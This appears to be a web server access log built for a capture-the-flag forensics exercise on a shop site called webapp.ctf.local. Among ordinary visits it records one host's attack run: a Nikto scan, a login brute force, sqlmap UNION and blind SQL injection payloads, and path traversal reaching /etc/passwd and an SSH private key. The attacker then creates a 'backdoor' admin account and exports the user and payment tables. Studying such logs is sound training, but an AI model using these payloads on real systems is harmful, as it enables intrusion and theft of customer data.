172.16.0.12 - - [10/Oct/2025:08:01:12 -0700] "GET / HTTP/1.1" 200 3842 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 172.16.0.12 - - [10/Oct/2025:08:01:13 -0700] "GET /css/style.css HTTP/1.1" 200 1523 "http://webapp.ctf.local/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 172.16.0.12 - - [10/Oct/2025:08:01:13 -0700] "GET /js/app.js HTTP/1.1" 200 8741 "http://webapp.ctf.local/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 172.16.0.12 - - [10/Oct/2025:08:01:14 -0700] "GET /images/logo.png HTTP/1.1" 200 14208 "http://webapp.ctf.local/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 172.16.0.45 - - [10/Oct/2025:08:03:22 -0700] "GET / HTTP/1.1" 200 3842 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 172.16.0.45 - - [10/Oct/2025:08:03:23 -0700] "GET /about HTTP/1.1" 200 2104 "http://webapp.ctf.local/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 172.16.0.45 - - [10/Oct/2025:08:04:01 -0700] "GET /products HTTP/1.1" 200 5632 "http://webapp.ctf.local/about" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 172.16.0.45 - - [10/Oct/2025:08:04:15 -0700] "GET /products/42 HTTP/1.1" 200 1876 "http://webapp.ctf.local/products" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 192.168.1.200 - - [10/Oct/2025:08:05:44 -0700] "GET / HTTP/1.1" 200 3842 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0" 192.168.1.200 - - [10/Oct/2025:08:05:45 -0700] "GET /login HTTP/1.1" 200 1547 "http://webapp.ctf.local/" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0" 172.16.0.12 - - [10/Oct/2025:08:10:33 -0700] "GET /dashboard HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 172.16.0.12 - - [10/Oct/2025:08:10:34 -0700] "GET /login HTTP/1.1" 200 1547 "http://webapp.ctf.local/dashboard" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 172.16.0.12 - frank [10/Oct/2025:08:10:55 -0700] "POST /login HTTP/1.1" 302 0 "http://webapp.ctf.local/login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 172.16.0.12 - frank [10/Oct/2025:08:10:56 -0700] "GET /dashboard HTTP/1.1" 200 4521 "http://webapp.ctf.local/login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 172.16.0.78 - - [10/Oct/2025:08:15:02 -0700] "GET /api/v1/status HTTP/1.1" 200 89 "-" "HealthChecker/1.0" 172.16.0.78 - - [10/Oct/2025:08:20:02 -0700] "GET /api/v1/status HTTP/1.1" 200 89 "-" "HealthChecker/1.0" 172.16.0.78 - - [10/Oct/2025:08:25:02 -0700] "GET /api/v1/status HTTP/1.1" 200 89 "-" "HealthChecker/1.0" 172.16.0.45 - - [10/Oct/2025:08:22:17 -0700] "GET /contact HTTP/1.1" 200 2890 "http://webapp.ctf.local/about" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 172.16.0.45 - - [10/Oct/2025:08:22:45 -0700] "POST /contact HTTP/1.1" 200 412 "http://webapp.ctf.local/contact" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 10.0.14.88 - - [10/Oct/2025:09:14:01 -0700] "GET / HTTP/1.1" 200 3842 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 10.0.14.88 - - [10/Oct/2025:09:14:02 -0700] "GET /robots.txt HTTP/1.1" 200 126 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 10.0.14.88 - - [10/Oct/2025:09:15:33 -0700] "GET / HTTP/1.1" 200 3842 "-" "Nikto/2.5.0" 10.0.14.88 - - [10/Oct/2025:09:15:34 -0700] "GET /admin HTTP/1.1" 403 187 "-" "Nikto/2.5.0" 10.0.14.88 - - [10/Oct/2025:09:15:34 -0700] "GET /server-status HTTP/1.1" 403 187 "-" "Nikto/2.5.0" 10.0.14.88 - - [10/Oct/2025:09:15:35 -0700] "GET /phpmyadmin HTTP/1.1" 404 196 "-" "Nikto/2.5.0" 10.0.14.88 - - [10/Oct/2025:09:15:35 -0700] "GET /.env HTTP/1.1" 200 412 "-" "Nikto/2.5.0" 10.0.14.88 - - [10/Oct/2025:09:15:36 -0700] "GET /wp-admin HTTP/1.1" 404 196 "-" "Nikto/2.5.0" 10.0.14.88 - - [10/Oct/2025:09:15:36 -0700] "GET /backup.zip HTTP/1.1" 404 196 "-" "Nikto/2.5.0" 10.0.14.88 - - [10/Oct/2025:09:15:37 -0700] "GET /.git/config HTTP/1.1" 200 231 "-" "Nikto/2.5.0" 10.0.14.88 - - [10/Oct/2025:09:15:37 -0700] "GET /server-info HTTP/1.1" 403 187 "-" "Nikto/2.5.0" 10.0.14.88 - - [10/Oct/2025:09:15:38 -0700] "GET /config.php.bak HTTP/1.1" 404 196 "-" "Nikto/2.5.0" 172.16.0.78 - - [10/Oct/2025:09:30:02 -0700] "GET /api/v1/status HTTP/1.1" 200 89 "-" "HealthChecker/1.0" 10.0.14.88 - - [10/Oct/2025:09:42:01 -0700] "POST /login HTTP/1.1" 401 87 "http://webapp.ctf.local/login" "python-requests/2.31.0" 10.0.14.88 - - [10/Oct/2025:09:42:01 -0700] "POST /login HTTP/1.1" 401 87 "http://webapp.ctf.local/login" "python-requests/2.31.0" 10.0.14.88 - - [10/Oct/2025:09:42:02 -0700] "POST /login HTTP/1.1" 401 87 "http://webapp.ctf.local/login" "python-requests/2.31.0" 10.0.14.88 - - [10/Oct/2025:09:42:02 -0700] "POST /login HTTP/1.1" 401 87 "http://webapp.ctf.local/login" "python-requests/2.31.0" 10.0.14.88 - - [10/Oct/2025:09:42:03 -0700] "POST /login HTTP/1.1" 401 87 "http://webapp.ctf.local/login" "python-requests/2.31.0" 10.0.14.88 - - [10/Oct/2025:09:42:03 -0700] "POST /login HTTP/1.1" 401 87 "http://webapp.ctf.local/login" "python-requests/2.31.0" 10.0.14.88 - - [10/Oct/2025:09:42:04 -0700] "POST /login HTTP/1.1" 401 87 "http://webapp.ctf.local/login" "python-requests/2.31.0" 10.0.14.88 - - [10/Oct/2025:09:42:04 -0700] "POST /login HTTP/1.1" 401 87 "http://webapp.ctf.local/login" "python-requests/2.31.0" 10.0.14.88 - - [10/Oct/2025:09:42:05 -0700] "POST /login HTTP/1.1" 401 87 "http://webapp.ctf.local/login" "python-requests/2.31.0" 10.0.14.88 - - [10/Oct/2025:09:42:05 -0700] "POST /login HTTP/1.1" 401 87 "http://webapp.ctf.local/login" "python-requests/2.31.0" 10.0.14.88 - - [10/Oct/2025:09:42:06 -0700] "POST /login HTTP/1.1" 401 87 "http://webapp.ctf.local/login" "python-requests/2.31.0" 10.0.14.88 - - [10/Oct/2025:09:42:06 -0700] "POST /login HTTP/1.1" 401 87 "http://webapp.ctf.local/login" "python-requests/2.31.0" 10.0.14.88 - admin [10/Oct/2025:09:42:07 -0700] "POST /login HTTP/1.1" 302 0 "http://webapp.ctf.local/login" "python-requests/2.31.0" 10.0.14.88 - admin [10/Oct/2025:09:42:08 -0700] "GET /admin/dashboard HTTP/1.1" 200 6241 "http://webapp.ctf.local/login" "python-requests/2.31.0" 10.0.14.88 - admin [10/Oct/2025:09:42:12 -0700] "GET /admin/users HTTP/1.1" 200 3892 "http://webapp.ctf.local/admin/dashboard" "python-requests/2.31.0" 10.0.14.88 - admin [10/Oct/2025:09:42:18 -0700] "GET /admin/config HTTP/1.1" 200 1547 "http://webapp.ctf.local/admin/users" "python-requests/2.31.0" 10.0.14.88 - admin [10/Oct/2025:09:42:25 -0700] "GET /admin/backup HTTP/1.1" 200 89412 "http://webapp.ctf.local/admin/config" "python-requests/2.31.0" 172.16.0.12 - frank [10/Oct/2025:09:45:11 -0700] "GET /dashboard HTTP/1.1" 200 4521 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 172.16.0.12 - frank [10/Oct/2025:09:45:33 -0700] "GET /profile HTTP/1.1" 200 2103 "http://webapp.ctf.local/dashboard" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 172.16.0.78 - - [10/Oct/2025:09:50:02 -0700] "GET /api/v1/status HTTP/1.1" 200 89 "-" "HealthChecker/1.0" 10.0.14.88 - - [10/Oct/2025:10:05:41 -0700] "GET /search?q=laptop HTTP/1.1" 200 4521 "-" "sqlmap/1.7.2#stable (https://sqlmap.org)" 10.0.14.88 - - [10/Oct/2025:10:05:42 -0700] "GET /search?q=laptop'+OR+1%3D1--+- HTTP/1.1" 200 8744 "-" "sqlmap/1.7.2#stable (https://sqlmap.org)" 10.0.14.88 - - [10/Oct/2025:10:05:43 -0700] "GET /search?q=laptop'+AND+1%3D2--+- HTTP/1.1" 200 0 "-" "sqlmap/1.7.2#stable (https://sqlmap.org)" 10.0.14.88 - - [10/Oct/2025:10:05:44 -0700] "GET /search?q=laptop'+UNION+SELECT+NULL--+- HTTP/1.1" 200 0 "-" "sqlmap/1.7.2#stable (https://sqlmap.org)" 10.0.14.88 - - [10/Oct/2025:10:05:45 -0700] "GET /search?q=laptop'+UNION+SELECT+NULL,NULL--+- HTTP/1.1" 200 0 "-" "sqlmap/1.7.2#stable (https://sqlmap.org)" 10.0.14.88 - - [10/Oct/2025:10:05:46 -0700] "GET /search?q=laptop'+UNION+SELECT+NULL,NULL,NULL--+- HTTP/1.1" 200 4521 "-" "sqlmap/1.7.2#stable (https://sqlmap.org)" 10.0.14.88 - - [10/Oct/2025:10:05:47 -0700] "GET /search?q=laptop'+UNION+SELECT+username,password,email+FROM+users--+- HTTP/1.1" 200 3192 "-" "sqlmap/1.7.2#stable (https://sqlmap.org)" 10.0.14.88 - - [10/Oct/2025:10:05:48 -0700] "GET /search?q=laptop'+UNION+SELECT+table_name,NULL,NULL+FROM+information_schema.tables--+- HTTP/1.1" 200 6847 "-" "sqlmap/1.7.2#stable (https://sqlmap.org)" 10.0.14.88 - - [10/Oct/2025:10:08:11 -0700] "GET /files?path=....//....//....//etc/passwd HTTP/1.1" 400 187 "-" "python-requests/2.31.0" 10.0.14.88 - - [10/Oct/2025:10:08:12 -0700] "GET /files?path=../../../etc/passwd HTTP/1.1" 200 1247 "-" "python-requests/2.31.0" 10.0.14.88 - - [10/Oct/2025:10:08:13 -0700] "GET /files?path=../../../etc/shadow HTTP/1.1" 403 187 "-" "python-requests/2.31.0" 10.0.14.88 - - [10/Oct/2025:10:08:14 -0700] "GET /files?path=../../../etc/hosts HTTP/1.1" 200 342 "-" "python-requests/2.31.0" 10.0.14.88 - - [10/Oct/2025:10:08:15 -0700] "GET /files?path=../../../home/webapp/.ssh/id_rsa HTTP/1.1" 200 1679 "-" "python-requests/2.31.0" 10.0.14.88 - - [10/Oct/2025:10:08:16 -0700] "GET /files?path=../../../home/webapp/.bash_history HTTP/1.1" 200 892 "-" "python-requests/2.31.0" 10.0.14.88 - - [10/Oct/2025:10:08:17 -0700] "GET /files?path=../../../var/log/auth.log HTTP/1.1" 403 187 "-" "python-requests/2.31.0" 10.0.14.88 - - [10/Oct/2025:10:08:18 -0700] "GET /files?path=../../../proc/self/environ HTTP/1.1" 200 547 "-" "python-requests/2.31.0" 172.16.0.45 - - [10/Oct/2025:10:12:07 -0700] "GET / HTTP/1.1" 200 3842 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 172.16.0.45 - - [10/Oct/2025:10:12:22 -0700] "GET /products HTTP/1.1" 200 5632 "http://webapp.ctf.local/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 172.16.0.45 - - [10/Oct/2025:10:13:01 -0700] "GET /products/15 HTTP/1.1" 200 1876 "http://webapp.ctf.local/products" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 172.16.0.45 - - [10/Oct/2025:10:13:15 -0700] "POST /cart/add HTTP/1.1" 200 312 "http://webapp.ctf.local/products/15" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 172.16.0.78 - - [10/Oct/2025:10:15:02 -0700] "GET /api/v1/status HTTP/1.1" 200 89 "-" "HealthChecker/1.0" 192.168.1.200 - - [10/Oct/2025:10:20:33 -0700] "GET / HTTP/1.1" 200 3842 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0" 192.168.1.200 - - [10/Oct/2025:10:20:55 -0700] "GET /products HTTP/1.1" 200 5632 "http://webapp.ctf.local/" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0" 192.168.1.200 - - [10/Oct/2025:10:21:12 -0700] "GET /search?q=wireless+mouse HTTP/1.1" 200 3211 "http://webapp.ctf.local/products" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0" 172.16.0.78 - - [10/Oct/2025:10:30:02 -0700] "GET /api/v1/status HTTP/1.1" 200 89 "-" "HealthChecker/1.0" 172.16.0.12 - frank [10/Oct/2025:10:32:44 -0700] "GET /dashboard HTTP/1.1" 200 4521 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 172.16.0.12 - frank [10/Oct/2025:10:33:01 -0700] "GET /orders HTTP/1.1" 200 7823 "http://webapp.ctf.local/dashboard" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 172.16.0.12 - frank [10/Oct/2025:10:33:22 -0700] "GET /orders/1547 HTTP/1.1" 200 2341 "http://webapp.ctf.local/orders" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 10.0.14.88 - - [10/Oct/2025:10:40:02 -0700] "GET /api/v2/admin/users HTTP/1.1" 401 87 "-" "curl/8.4.0" 10.0.14.88 - admin [10/Oct/2025:10:40:15 -0700] "GET /api/v2/admin/users HTTP/1.1" 200 8941 "-" "curl/8.4.0" 10.0.14.88 - admin [10/Oct/2025:10:40:22 -0700] "GET /api/v2/admin/config HTTP/1.1" 200 2341 "-" "curl/8.4.0" 10.0.14.88 - admin [10/Oct/2025:10:40:30 -0700] "POST /api/v2/admin/users HTTP/1.1" 201 156 "-" "curl/8.4.0" 10.0.14.88 - admin [10/Oct/2025:10:40:35 -0700] "PUT /api/v2/admin/users/backdoor HTTP/1.1" 200 89 "-" "curl/8.4.0" 10.0.14.88 - admin [10/Oct/2025:10:40:41 -0700] "PUT /api/v2/admin/users/backdoor/role HTTP/1.1" 200 64 "-" "curl/8.4.0" 172.16.0.78 - - [10/Oct/2025:10:45:02 -0700] "GET /api/v1/status HTTP/1.1" 200 89 "-" "HealthChecker/1.0" 172.16.0.45 - - [10/Oct/2025:10:48:33 -0700] "GET /login HTTP/1.1" 200 1547 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 172.16.0.45 - alice [10/Oct/2025:10:48:52 -0700] "POST /login HTTP/1.1" 302 0 "http://webapp.ctf.local/login" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 172.16.0.45 - alice [10/Oct/2025:10:48:53 -0700] "GET /dashboard HTTP/1.1" 200 4521 "http://webapp.ctf.local/login" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 172.16.0.78 - - [10/Oct/2025:11:00:02 -0700] "GET /api/v1/status HTTP/1.1" 200 89 "-" "HealthChecker/1.0" 192.168.1.200 - - [10/Oct/2025:11:02:44 -0700] "GET /favicon.ico HTTP/1.1" 404 196 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0" 172.16.0.12 - frank [10/Oct/2025:11:05:18 -0700] "POST /logout HTTP/1.1" 302 0 "http://webapp.ctf.local/dashboard" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 10.0.14.88 - - [10/Oct/2025:11:10:22 -0700] "GET /search?q=%27%3B+DROP+TABLE+users%3B--+- HTTP/1.1" 500 412 "-" "python-requests/2.31.0" 10.0.14.88 - - [10/Oct/2025:11:10:25 -0700] "GET /search?q=%27%3B+SELECT+SLEEP(5)--+- HTTP/1.1" 200 0 "-" "python-requests/2.31.0" 10.0.14.88 - - [10/Oct/2025:11:10:31 -0700] "GET /search?q=%27+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+version())))--+- HTTP/1.1" 200 87 "-" "python-requests/2.31.0" 172.16.0.78 - - [10/Oct/2025:11:15:02 -0700] "GET /api/v1/status HTTP/1.1" 200 89 "-" "HealthChecker/1.0" 172.16.0.45 - alice [10/Oct/2025:11:18:07 -0700] "GET /profile HTTP/1.1" 200 2103 "http://webapp.ctf.local/dashboard" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 172.16.0.45 - alice [10/Oct/2025:11:18:22 -0700] "POST /profile/update HTTP/1.1" 200 412 "http://webapp.ctf.local/profile" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 172.16.0.78 - - [10/Oct/2025:11:30:02 -0700] "GET /api/v1/status HTTP/1.1" 200 89 "-" "HealthChecker/1.0" 10.0.14.88 - backdoor [10/Oct/2025:11:35:01 -0700] "POST /login HTTP/1.1" 302 0 "-" "python-requests/2.31.0" 10.0.14.88 - backdoor [10/Oct/2025:11:35:02 -0700] "GET /admin/dashboard HTTP/1.1" 200 6241 "-" "python-requests/2.31.0" 10.0.14.88 - backdoor [10/Oct/2025:11:35:05 -0700] "GET /admin/export?format=csv&table=users HTTP/1.1" 200 24561 "-" "python-requests/2.31.0" 10.0.14.88 - backdoor [10/Oct/2025:11:35:08 -0700] "GET /admin/export?format=csv&table=orders HTTP/1.1" 200 187234 "-" "python-requests/2.31.0" 10.0.14.88 - backdoor [10/Oct/2025:11:35:12 -0700] "GET /admin/export?format=csv&table=payment_methods HTTP/1.1" 200 45678 "-" "python-requests/2.31.0" 172.16.0.78 - - [10/Oct/2025:11:45:02 -0700] "GET /api/v1/status HTTP/1.1" 200 89 "-" "HealthChecker/1.0" 172.16.0.45 - alice [10/Oct/2025:11:50:33 -0700] "POST /logout HTTP/1.1" 302 0 "http://webapp.ctf.local/dashboard" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 192.168.1.200 - - [10/Oct/2025:11:55:12 -0700] "GET / HTTP/1.1" 200 3842 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0" 172.16.0.78 - - [10/Oct/2025:12:00:02 -0700] "GET /api/v1/status HTTP/1.1" 200 89 "-" "HealthChecker/1.0"